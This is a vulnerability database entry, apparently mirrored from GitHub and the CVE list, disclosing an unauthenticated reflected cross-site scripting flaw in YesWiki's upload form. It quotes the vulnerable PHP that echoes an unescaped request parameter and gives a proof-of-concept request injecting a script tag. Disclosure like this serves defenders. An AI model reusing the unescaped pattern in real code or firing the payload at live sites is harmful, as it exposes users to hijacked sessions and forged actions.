github - ghsa-2f8p-qqx2-gwr2

GHSA-2F8P-QQX2-GWR2

Vulnerability from github – Published: 2025-04-29 14:38 – Updated: 2025-04-29 20:27

Summary

YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting

Details

Summary

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

YesWiki v4.5.3 (doryphore-dev branch)
Docker environnment (docker/docker-compose.yml)

Vulnerable code

The vulnerability is located in the file

        public function showUploadForm()
        {
            $this->file = $_GET['file'];
            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
            echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                . ' <input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                . ' <input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                . "</form>\n";
        }

PoC

You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution

GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Get a response

Impact

This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

Severity ?

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:38:12Z",
    "nvd_published_at": "2025-04-29T18:15:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this-\u003efile = $_GET[\u0027file\u0027];\n            echo \u0027\u003ch3\u003e\u0027 . _t(\u0027ATTACH_UPLOAD_FORM_FOR_FILE\u0027) . \u0027 \u0027 . $this-\u003efile . \"\u003c/h3\u003e\\n\";\n            echo \u0027\u003cform enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag()) . \"\\\"\u003e\\n\"\n                . \u0027\t\u003cinput type=\"hidden\" name=\"wiki\" value=\"\u0027 . $this-\u003ewiki-\u003eGetPageTag() . \"/upload\\\" /\u003e\\n\"\n                . \u0027\t\u003cinput type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"\u0027 . $this-\u003eattachConfig[\u0027max_file_size\u0027] . \"\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this-\u003efile\\\" /\u003e\\n\"\n                . \"\t\u003cinput type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /\u003e\u003cbr /\u003e\\n\"\n                . \u0027\t\u003cinput class=\"btn btn-primary\" type=\"submit\" value=\"\u0027 . _t(\u0027ATTACH_SAVE\u0027) . \"\\\" /\u003e\\n\"\n                . \"\u003c/form\u003e\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload\u0026file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n\u003cimg width=\"853\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-04-11 \u0432 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" /\u003e\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions",
  "id": "GHSA-2f8p-qqx2-gwr2",
  "modified": "2025-04-29T20:27:19Z",
  "published": "2025-04-29T14:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
}

CVE-2025-46349 (GCVE-0-2025-46349)

Vulnerability from cvelistv5 – Published: 2025-04-29 17:11 – Updated: 2025-04-29 18:01

Summary

YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.

Severity ?

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/YesWiki/yeswiki/security/advis…	x_refsource_CONFIRM
	https://github.com/YesWiki/yeswiki/pull/1264/comm…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	YesWiki	yeswiki	Affected: < 4.5.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-46349",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-29T18:01:18.455461Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-29T18:01:20.769Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "yeswiki",
          "vendor": "YesWiki",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-04-29T17:11:10.679Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2"
        },
        {
          "name": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524"
        }
      ],
      "source": {
        "advisory": "GHSA-2f8p-qqx2-gwr2",
        "discovery": "UNKNOWN"
      },
      "title": "YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-46349",
    "datePublished": "2025-04-29T17:11:10.679Z",
    "dateReserved": "2025-04-22T22:41:54.913Z",
    "dateUpdated": "2025-04-29T18:01:20.769Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-2F8P-QQX2-GWR2

Summary

Vulnerable code

PoC

Impact

CVE-2025-46349 (GCVE-0-2025-46349)

Tags

Sightings

Nomenclature